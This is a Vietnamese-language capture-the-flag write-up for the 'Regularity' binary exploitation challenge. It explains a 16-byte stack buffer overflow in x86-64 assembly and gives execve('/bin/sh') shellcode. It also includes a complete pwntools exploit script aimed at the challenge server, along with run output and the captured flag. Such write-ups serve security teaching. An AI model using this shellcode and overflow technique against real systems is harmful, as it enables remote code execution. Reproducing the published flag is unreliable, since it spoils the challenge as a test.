Thông tin challenge
- Tên: Regularity
- Thể loại: PWN (Binary Exploitation)
- Server: 154.57.164.82:30412
Phân tích
1. Tổng quan chương trình
Chương trình được viết bằng assembly x86-64, thực hiện các bước sau:
- In ra message “Hello, Survivor. Anything new these days?”
- Đọc input từ người dùng
- In ra message “Yup, same old same old here as well…”
- Thoát chương trình
2. Phân tích hàm read
read proc near
buf = byte ptr -100h
sub rsp, 100h ; Cấp phát 0x100 bytes trên stack
mov eax, 0
mov edi, 0 ; fd = stdin
lea rsi, [rsp+100h+buf] ; rsi = rsp (buffer address)
mov edx, 110h ; Đọc 0x110 bytes!!!
syscall ; sys_read
add rsp, 100h
retn
read endp
Lỗ hổng: Buffer chỉ có 0x100 bytes (256 bytes) nhưng chương trình đọc 0x110 bytes (272 bytes) → Buffer Overflow 16 bytes!
3. Stack Layout
┌─────────────────────┐ RSP (sau khi sub rsp, 100h)
│ │
│ Buffer (0x100) │ ← Input được ghi vào đây
│ │
├─────────────────────┤ RSP + 0x100
│ Return Address │ ← Bị ghi đè bởi 8 bytes overflow
├─────────────────────┤ RSP + 0x108
│ (thêm 8 bytes) │
└─────────────────────┘
4. Các yếu tố quan trọng
- Stack có quyền thực thi (RWX): Kiểm tra PHT Entry 3 có flags = 7 (Read/Write/Execute)
- Không có ASLR/PIE: Địa chỉ cố định
- Sau syscall read, RSI vẫn chứa địa chỉ buffer
- Có gadget
jmp rsitại địa chỉ 0x401041
; Trong _start:
.text:0000000000401037 mov rsi, offset exit
.text:0000000000401041 jmp rsi ; <- Gadget này!
Khai thác
Chiến lược
- Đặt shellcode ở đầu buffer
- Padding đến đủ 0x100 bytes
- Ghi đè return address bằng
0x401041(địa chỉjmp rsi) - Khi hàm
readreturn → nhảy đếnjmp rsi→ RSI trỏ đến shellcode → RCE!
Shellcode
Sử dụng shellcode execve("/bin/sh", NULL, NULL):
xor rsi, rsi ; rsi = NULL (argv)
push rsi ; Push NULL terminator
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" (little endian)
push rdi
push rsp
pop rdi ; rdi = pointer to "/bin//sh"
xor rdx, rdx ; rdx = NULL (envp)
push 0x3b
pop rax ; rax = 59 (sys_execve)
syscall
Exploit Script
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
p = remote('154.57.164.82', 30412)
# Nhận message đầu tiên
print(p.recvuntil(b'?\n'))
# Shellcode execve("/bin/sh", NULL, NULL)
shellcode = asm('''
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
xor rdx, rdx
push 0x3b
pop rax
syscall
''')
jmp_rsi = 0x401041
# Payload: shellcode + padding + return address
payload = shellcode
payload += b'A' * (0x100 - len(shellcode)) # Pad đến 0x100 bytes
payload += p64(jmp_rsi) # Return address -> jmp rsi
p.send(payload)
p.interactive()
Kết quả
$ python3 solve.py
[+] Opening connection to 154.57.164.82 on port 30412: Done
b'Hello, Survivor. Anything new these days?\n'
Shellcode length: 25
Payload length: 264
[*] Switching to interactive mode
$ cat flag.txt
flag{...}
Tổng kết
| Kỹ thuật | Mô tả |
|---|---|
| Buffer Overflow | Ghi đè return address |
| Shellcode Injection | Stack có quyền thực thi |
| ROP Gadget | Sử dụng jmp rsi để nhảy đến shellcode |
Flag: HTB{juMp1nG_w1tH_tH3_r3gIsT3rS?_3bcffd24f7a2a8a31b9e6c3048b0830c}**!